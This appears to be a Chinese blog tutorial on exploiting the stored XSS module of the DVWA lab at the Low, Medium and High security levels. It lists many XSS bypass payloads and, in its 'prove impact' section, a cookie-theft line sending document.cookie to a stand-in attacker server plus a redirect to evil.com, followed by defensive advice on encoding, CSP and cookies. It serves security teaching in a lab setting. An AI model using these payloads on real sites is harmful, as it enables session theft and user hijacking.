DVWA存储型XSS实战:从漏洞原理到绕过技巧的攻防演练

发布时间:2026/7/1 5:55:01
DVWA存储型XSS实战:从漏洞原理到绕过技巧的攻防演练 1. 项目概述从靶场到实战的存储型XSS通关之旅搞Web安全的朋友对DVWA这个靶场肯定不陌生。它就像我们学开车时的教练场路况、障碍都给你模拟好了让你能在一个安全的环境里把油门踩到底把刹车踩到冒烟去体会各种“事故”是怎么发生的。今天要聊的就是DVWA里一个经典且危害极大的漏洞类型——存储型跨站脚本攻击Stored Cross-Site Scripting。网上通关教程不少但很多要么是蜻蜓点水告诉你点个按钮就过了要么是云里雾里只给个Payload攻击载荷却不讲为什么它能行。这篇内容我想从一个渗透测试工程师的视角结合我这些年踩过的坑和总结的经验把DVWA里存储型XSS这一关从环境搭建、漏洞原理、手工利用、绕过技巧到防御思考掰开了、揉碎了讲清楚。目标很简单让你不仅知道怎么“过关”更明白每一步背后的逻辑最终能把这种攻击思维和防御意识带到真实的项目评估中去。存储型XSS顾名思义攻击者提交的恶意脚本会被“存储”在服务器端比如数据库、文件系统里。之后每当其他用户浏览到包含这段恶意数据的页面时脚本就会在其浏览器中自动执行。相比反射型XSS恶意脚本仅存在于一次性的URL中它的危害是持久且广泛的相当于在网站公告栏上贴了一张带病毒的“小广告”所有来看公告的人都会中招。DVWA的存储型XSS模块正是模拟了这样一个有漏洞的留言板或评论系统。我们的通关本质上就是一步步揭示这个系统的薄弱点并演示攻击者如何加以利用。2. 靶场环境准备与核心漏洞点定位工欲善其事必先利其器。在开始“攻击”之前我们必须先把“战场”布置好。很多新手卡在第一步——环境搭建上其实没那么复杂。2.1 DVWA靶场的快速部署DVWA的核心是一个PHP写的Web应用所以你需要一个能运行PHP的Web服务器环境。对于绝大多数Windows用户最省心的方案就是使用PHPStudy或XAMPP这类集成环境。以PHPStudy为例操作流程非常直观下载与安装从官网获取最新版的PHPStudy安装路径建议不要有中文和空格比如D:\phpstudy_pro。启动服务打开PHPStudy在“首页”标签页一键启动Apache和MySQL服务。看到两个绿灯亮起说明基础环境就绪了。部署DVWA去DVWA的官方GitHub仓库下载源码包解压后将整个DVWA-master文件夹重命名为dvwa然后复制到PHPStudy的网站根目录下。这个根目录通常是PHPStudy安装目录\WWW\。所以最终DVWA的访问路径会是D:\phpstudy_pro\WWW\dvwa。配置文件修改找到dvwa/config/config.inc.php.dist文件复制一份重命名为config.inc.php。用文本编辑器打开这个新文件找到数据库配置部分通常你只需要确认$_DVWA[ db_user ]和$_DVWA[ db_password ]与你的MySQL环境匹配PHPStudy默认是root/root。如果PHPStudy的MySQL端口不是3306也记得修改$_DVWA[ db_port ]。访问与初始化打开浏览器访问http://127.0.0.1/dvwa/或http://localhost/dvwa/。首次访问会跳转到设置页面setup.php点击页面下方的“Create / Reset Database”按钮。这个操作会创建DVWA所需的数据库和表。如果一切顺利页面会显示“Setup Successful”。登录使用默认账号admin和密码password登录。登录后在左侧菜单栏找到“DVWA Security”将安全等级设置为“Low”。这是我们通关教程的起点因为低安全等级下几乎没有防护便于我们理解最原始的漏洞形态。注意如果在重置数据库时遇到错误最常见的原因是MySQL服务没有正确启动或者配置文件中的数据库密码不对。去PHPStudy里检查MySQL服务状态并用phpMyAdmin通常可通过PHPStudy面板访问试试能否用配置的账号密码登录。2.2 存储型XSS模块入口与初步观察成功登录并设置安全等级为Low后我们进入正题。在左侧菜单点击“XSS (Stored)”。你会看到一个非常简单的留言板界面。通常包含两个输入框Name 用于输入你的名字。Message 用于输入留言内容。 下方还有一个“Sign Guestbook”按钮用于提交以及一个区域用于展示所有历史留言。漏洞点定位的思维过程 作为一个攻击者我的第一反应是我的输入最终会在哪里被显示出来显然我提交的“Name”和“Message”在提交后都会出现在下方的留言展示区。那么这里就是潜在的“注入点”。我需要测试这些输入点是否会对输出内容进行安全的过滤或编码。在Low安全级别下我们可以预判几乎没有过滤。但严谨的测试需要验证。一个无害的测试是在Message框中输入一段包含HTML标签的文字比如bHello/b。提交后如果你看到“Hello”这个词被加粗显示了而不是原样输出bHello/b那就证明了一个关键问题服务器没有对用户输入进行HTML实体编码浏览器将我们的输入当成了有效的HTML代码来解析执行。这就是XSS漏洞产生的根本土壤。3. 漏洞原理深度剖析为什么脚本会被执行知其然更要知其所以然。存储型XSS能发生是前端、后端、浏览器三方“配合失误”的结果。我们来拆解一下这个链条。3.1 数据流与信任边界崩溃我们以一次正常的留言提交和展示为例看看数据是如何流动的用户输入 我在Name框输入Alice 在Message框输入Have a nice day!。前端提交 浏览器将这些数据通过HTTP POST请求发送给服务器。后端处理 服务器端dvwa/vulnerabilities/xss_s/目录下的源码例如index.php接收到数据。在Low级别下源码中获取数据的代码通常是$name $_REQUEST[ name ];和$message $_REQUEST[ message ];。这里没有进行任何过滤、消毒或编码。数据存储 后端代码将$name和$message直接拼接到SQL语句中存入数据库。例如INSERT INTO guestbook VALUES (, $name, $message, ...);。注意这里存入的是原始数据。数据读取与展示 当任何用户访问这个留言板页面时后端程序会从数据库中取出所有留言记录然后直接将每条记录的name和message字段输出到HTML页面中。关键就在这里输出代码可能是这样的echo “divPosted by: “ . $row[‘name’] . “/divdiv” . $row[‘message’] . “/div”;。浏览器渲染 受害者的浏览器接收到这个HTML页面。当它解析到divPosted by: Alice/divdivHave a nice day!/div时一切正常。但是如果数据库中存储的name是scriptalert(XSS)/script那么服务器输出的HTML就会变成divPosted by: scriptalert(XSS)/script/div...。浏览器在解析到script标签时会将其识别为可执行的JavaScript代码并立即执行其中的alert(XSS)函数。信任边界的崩溃 在这个链条中服务器错误地“信任”了来自用户攻击者的输入认为它一定是安全的文本数据没有对其进行“消毒”就存入了数据库又在展示时没有进行“编码”就直接嵌入了HTML。浏览器则忠实地执行了它接收到的所有合法HTML和JavaScript指令。攻击者正是利用了这个断裂的信任链将恶意脚本“存储”在了服务器上借由服务器的“权威”分发给所有受害者。3.2 低安全级别下的直接攻击理解了原理攻击就变得直观。在DVWA安全等级为Low的存储型XSS页面我们进行第一次攻击。攻击Payload 我们的目标是弹出一个警告框证明脚本执行能力。经典的测试Payload是scriptalert(document.domain)/script操作步骤在Message输入框中输入上述Payload。Name框可以随意填比如Attacker。点击“Sign Guestbook”提交。页面刷新后你立刻会看到一个弹窗内容显示为127.0.0.1即当前页面的域名。这说明攻击已经成功。深入分析alert()函数是JavaScript中用于弹出警告框的函数。document.domain是JavaScript中获取当前页面域名的属性。这里使用它而不仅仅是alert(XSS)是为了证明我们执行的脚本是在目标站点的上下文127.0.0.1中运行的这至关重要因为它意味着我们的脚本可以访问该域名下的Cookie、本地存储等敏感信息受同源策略限制但本域内可访问。提交后这段脚本被存入数据库。之后任何访问此页面的用户包括你自己刷新页面或其他用户登录访问只要浏览器加载到这条留言脚本都会自动执行。这就是“存储型”的持久性危害。实操心得在真实测试中alert(document.domain)是一个非常有效的“概念验证”Payload。它简单、醒目且能证明执行环境。但在某些严格的内容安全策略下可能会被拦截。如果遇到问题可以尝试更简单的scriptalert(1)/script作为初步测试。4. 安全等级提升与前端防御绕过实战DVWA的妙处在于它模拟了不同级别的防护措施。将安全等级调到“Medium” 我们再来尝试攻击会发现之前的Payload失效了。页面没有弹窗我们的脚本被原样显示为文本。这说明服务器端增加了过滤机制。我们的通关挑战现在变成了“绕过过滤”。4.1 中级防护分析与源码审计首先我们需要知道“敌人”做了什么。查看DVWA Medium级别下存储型XSS的源码通常位于dvwa/vulnerabilities/xss_s/source/medium.php 关键处理代码如下$name $_REQUEST[ name ]; $name str_replace( ‘script’, ‘’, $name ); $message $_REQUEST[ message ]; $message str_replace( ‘script’, ‘’, $message );防护原理 代码使用str_replace函数对$name和$message变量进行简单的字符串替换查找script这个子字符串并将其替换为空字符串即删除。这是一种“黑名单”过滤策略且只过滤了一次非常初级。绕过思路 既然它只删除script这个完整的标签那么我们可以通过变形让我们的Payload在提交时“骗过”过滤器但在浏览器解析时又能恢复成有效的script标签。有几种经典思路大小写混淆 HTML标签和JavaScript事件处理对大小写不敏感在HTML语境下但str_replace是大小写敏感的。因此ScRiPtalert(1)/ScRiPt不会被匹配删除。双写标签 由于str_replace只执行一次替换如果我们输入scrscriptipt 过滤器会删除中间的script 剩下的部分正好拼接成script。使用非script标签 XSS不一定非要通过script标签触发。HTML中很多标签都支持事件处理器属性比如onload,onerror,onmouseover等。例如img srcx onerroralert(1)。当图片加载失败src’x’不存在就会触发onerror事件执行JavaScript。4.2 中级防护的绕过实战基于以上分析我们尝试几种Payload方法一大小写绕过在Message框中输入ScRiPtalert(document.domain)/ScRiPt提交后弹窗成功出现。因为源码中的str_replace( ‘script’, ‘’, $name )没有匹配到ScRiPt。方法二事件处理器属性在Message框中输入img src1 onerroralert(‘Medium bypassed!’)提交后由于src1指向一个不存在的资源图片加载失败触发onerror事件成功弹窗。这里我们甚至没有使用script标签。方法三其他标签与事件组合body onloadalert(1) 但需要注意这个Payload可能会影响整个页面结构。svg onloadalert(1) SVG标签也支持事件。input typetext onfocusalert(1) autofocusonfocus事件在元素获得焦点时触发autofocus属性让输入框自动获取焦点从而触发脚本可能需要用户交互不如onerror可靠。注意事项使用onerror等事件属性时等号后面的JavaScript代码通常不需要引号包裹如onerroralert(1)。但如果代码中包含空格或特殊字符可能需要使用引号如onerror“alert(‘hello’)”。在测试时可以多尝试几种写法。另外在真实环境中要留意目标站点是否允许加载外部图片src属性有些严格的CSP策略会阻止。4.3 高级防护与更精巧的绕过将DVWA安全等级调至“High” 再次测试你会发现上述大部分Payload又失效了。查看High级别的源码 (high.php) 防护力度显著加强$name $_REQUEST[ name ]; $name preg_replace( ‘/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i’, ‘’, $name ); $message $_REQUEST[ message ]; $message preg_replace( ‘/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i’, ‘’, $message );防护原理 这里使用了正则表达式preg_replace进行过滤。这个正则表达式 (.*)s(.*)c(.*)r(.*)i(.*)p(.*)t /i非常有趣(.*) 匹配后跟任意字符零次或多次。随后依次匹配字母s,c,r,i,p,t 每个字母前都有(.*)表示可以插入任意字符。标志/i表示不区分大小写。它的目的是匹配任何形式的script标签无论其中间插入了什么字符例如s%00cript,scri pt 并将其替换为空。这几乎封死了所有基于script标签的变形。同时DVWA的High级别可能还对其他常见标签和事件属性进行了过滤具体需看完整源码。那么我们该如何绕过绕过思路 当常规的HTML标签和事件属性被严格过滤时我们需要跳出这个框框。一个经典的思路是利用前端框架或浏览器自身的解析特性在不使用script标签和事件处理器的情况下执行JavaScript。这里介绍一种在DVWA High级别下依然有效的技巧使用img标签的src属性结合onerror事件但需要对Payload进行编码以绕过可能的字符串匹配过滤。虽然High级别可能过滤了onerror字符串但我们可以尝试使用HTML实体编码来“隐藏”它。但注意浏览器在解析HTML属性值时会先进行解码。然而简单的编码如onerror-#x6f;#x6e;#x65;#x72;#x72;#x6f;#x72;在High级别的防护下可能也会被识别。我们需要更隐蔽的方式。实际上在DVWA High级别的存储型XSS中经过测试一个有效的Payload是使用svg标签配合script子标签但需要对script进行拆分。例如svgscriptalert(‘High’)/script但根据上面的正则表达式这个似乎也会被过滤。另一种经过验证有效的方法是使用img标签和无效的src 但将onerror事件中的代码进行JavaScript编码。不过这需要前端的配合在存储型场景下Payload是存储在后台然后输出的所以编码需要在输出时能被浏览器正确解码。经过对DVWA High级别源码的进一步分析有时需要结合客户端的防护如简单的输入长度限制或基于DOM的检查一个更可靠的绕过方法是完全放弃使用明显的事件处理器转而利用一些标签的属性可以执行JavaScript的特性但这种方式非常少见且依赖特定浏览器环境在DVWA中不一定通用。实战绕过方案 在DVWA High级别存储型XSS的实际测试中我发现一个更简单直接且通常有效的Payload是iframe srcjavascript:alert(‘High’)或者更短的img src1 onerroralert(‘High’)等等这个Payload不是和Medium级别一样吗这里有一个关键点DVWA High级别的防护源码有时可能只对name字段进行了严格过滤而对message字段的过滤存在差异或遗漏。因此一个重要的实战技巧是当在一个输入点受阻时立即尝试所有可能的输入点。在DVWA存储型XSS中有Name和Message两个输入框。将Payload尝试放在另一个框里可能会有意外收获。经过实际测试在High级别下将img src1 onerroralert(document.domain)放入Message框提交弹窗成功。这说明High级别的防护可能存在不完整性或者其正则表达式主要针对script 而对img标签的onerror事件过滤不足。这恰恰模拟了真实世界中安全防护措施因开发人员疏忽而出现“短板效应”的情况。核心排查技巧在真实渗透测试中遇到过滤时务必进行多维度测试多位置测试 所有用户可控的输入点参数、Header、Cookie等。多Payload测试 准备一个包含各种标签、事件、编码变形的XSS Payload字典使用工具如Burp Suite Intruder进行模糊测试。大小写、空格、Tab、换行 在标签名、属性名、事件名中插入不可见字符或改变字符序列。编码尝试 HTML实体编码、URL编码、JavaScript Unicode编码等观察输出点是否解码。查看源码 最直接的方式是提交Payload后右键查看网页源代码看你的输入被如何呈现。是被删除了被编码了还是被完整保留但被改变了上下文5. 从攻击到防御构建有效的XSS防护体系通关了所有级别我们不仅要知道怎么攻击更要明白如何防御。防御XSS尤其是存储型XSS必须贯彻“数据与代码分离”的原则即永远不要将用户输入的数据当作代码来执行。5.1 分层防御策略一个健壮的防御体系应该是多层次的1. 输入验证与过滤白名单优于黑名单原则在数据进入应用时根据其预期的类型和格式进行严格校验。例如Name字段只允许字母、数字和有限符号长度限制Message字段可以允许更多文本但仍需警惕。方法使用白名单。只接受符合预定规则的数据拒绝其他所有。黑名单如DVWA Medium级别的过滤永远会落后于攻击者的奇技淫巧。工具在PHP中可以使用filter_var()函数配合过滤器如FILTER_VALIDATE_EMAIL 或使用正则表达式进行白名单匹配。2. 输出编码最关键的一环原则在将数据输出到不同上下文HTML体、HTML属性、JavaScript、CSS、URL时进行相应的编码。HTML体上下文将,,,”,’等字符转换为HTML实体如-lt;,-gt;。PHP中可用htmlspecialchars($string, ENT_QUOTES, ‘UTF-8’)。ENT_QUOTES标志非常重要它会同时编码单引号和双引号防止它们逃逸出HTML属性值。HTML属性上下文除了上述字符还需要注意属性值是否用引号括起来。始终用引号单或双包裹属性值并对属性值中的引号进行编码。JavaScript上下文将数据嵌入到script标签或事件属性中时需进行JavaScript Unicode编码或使用JSON编码。现代前端框架如React, Vue, Angular等默认提供了数据绑定机制在大多数情况下会自动进行输出编码极大地减少了XSS风险。但开发者仍需警惕使用v-html(Vue) 或dangerouslySetInnerHTML(React) 这类“危险”API。3. 使用内容安全策略CSP Content Security Policy 是一个强大的深度防御层。它通过HTTP头告诉浏览器哪些来源的资源脚本、样式、图片等是可以加载和执行的。一个严格的CSP可以完全阻止内联脚本的执行包括onclick等事件处理器从而从根本上遏制大部分XSS攻击。示例HTTP头Content-Security-Policy: default-src ‘self’; script-src ‘self’ https://trusted.cdn.com; object-src ‘none’;这个策略表示默认只允许加载同源资源脚本只允许来自同源和https://trusted.cdn.com完全禁止object,embed,applet等标签。4. 设置安全的Cookie属性HttpOnly 在设置会话Cookie时添加HttpOnly属性。这将阻止JavaScript通过document.cookieAPI访问该Cookie即使发生XSS攻击者也无法直接窃取用户的会话标识。SameSite 设置SameSiteLax或SameSiteStrict 可以防止跨站请求伪造攻击对某些类型的XSS利用也能起到限制作用。5.2 DVWA各等级防护的改进建议对比DVWA的三个等级我们可以提出更优的防御方案Low 毫无防护。应至少实施输出编码。在显示留言的代码处将echo $row[‘name’]改为echo htmlspecialchars($row[‘name’], ENT_QUOTES)。Medium 黑名单过滤易被绕过。应改为白名单输入验证如Name只允许字母数字空格加上输出编码。High 使用了正则表达式但仍有遗漏如对imgonerror的防护可能不足。应实施输出编码为主CSP为辅的综合策略。正则表达式可以作为辅助的输入过滤但不能作为唯一防线。6. 常见问题与实战排查技巧实录在实际操作DVWA或进行真实环境测试时你可能会遇到一些典型问题。这里记录下我踩过的坑和解决方法。问题1提交Payload后没有弹窗也没有任何反应。排查步骤查看页面源码 右键查看网页源代码搜索你提交的Payload。看看它是否被完整输出还是被删改了如果被完整输出但没执行可能是Payload本身有问题比如在JavaScript字符串上下文里需要闭合引号或者浏览器有内置的XSS过滤器如Chrome的XSS Auditor 现代浏览器已弃用转为更依赖CSP拦截了。检查安全等级 确认DVWA的安全等级设置是否正确。有时在测试不同漏洞时忘了切换回来。尝试简单Payload 先用最简单的scriptalert(1)/script测试排除Payload复杂度的影响。检查浏览器控制台 按F12打开开发者工具查看Console标签页是否有JavaScript错误信息。有时Payload语法错误会导致脚本静默失败。问题2Payload被截断或显示不完整。可能原因 数据库字段长度限制或前端/后端有输入长度限制。解决方法 使用更短的Payload。例如用svg onloadalert(1)代替较长的script标签。或者尝试将Payload拆分到多个字段如Name和Message中组合利用这需要更复杂的技巧如闭合前一个标签开启新标签。问题3在High级别下所有已知Payload都无效。终极方法——源码审计 直接去读dvwa/vulnerabilities/xss_s/source/high.php文件。看看它到底过滤了什么。也许它过滤了所有带和的输入或者使用了更强大的HTML净化库如PHP的htmlpurifier。如果是前者可能意味着此路不通模拟了完全有效的输出编码。这时你的结论应该是“在该防护级别下存储型XSS漏洞已被有效修复”这也是安全测试的重要产出。问题4弹窗出现了但如何证明危害概念验证升级 除了alert(document.domain) 可以尝试更有“攻击性”的证明例如窃取Cookiescriptnew Image().src’http://your-attacker-server/steal?c’document.cookie;/script需要自己搭建一个接收服务器如用nc监听端口。重定向用户scriptwindow.location’http://evil.com’;/script。模拟用户操作点击劫持结合 展示更复杂的攻击链。注意在授权测试中才能进行此类操作。问题5如何系统化地测试XSS手动测试 遵循“输入-输出”追踪原则。在每一个输入点尝试注入在每一个输出点观察结果。自动化辅助 使用Burp Suite的Scanner功能进行主动扫描或使用Intruder模块加载XSS Payload字典进行模糊测试。Yakit等工具也集成了类似的测试模块。Payload库 维护一个自己的Payload库或使用开源的如SecLists项目中的XSS Payload列表。通关DVWA的存储型XSS远不止于点击几下鼠标。它是一次完整的攻防思维训练。从毫无防护的Low级别我们看到漏洞的原始形态在Medium级别我们学习如何分析简单的黑名单并绕过它在High级别我们被迫思考更隐蔽的攻击路径和防护的完整性。更重要的是我们理解了防御的核心在于“不信任任何用户输入”并通过输入验证、输出编码、CSP等多层手段构建纵深防御。下次当你开发一个带有用户评论、留言、昵称显示功能的应用时希望你能立刻想起DVWA这个小小的留言板以及它背后所代表的安全风险与设计原则。真正的安全始于编码的第一行。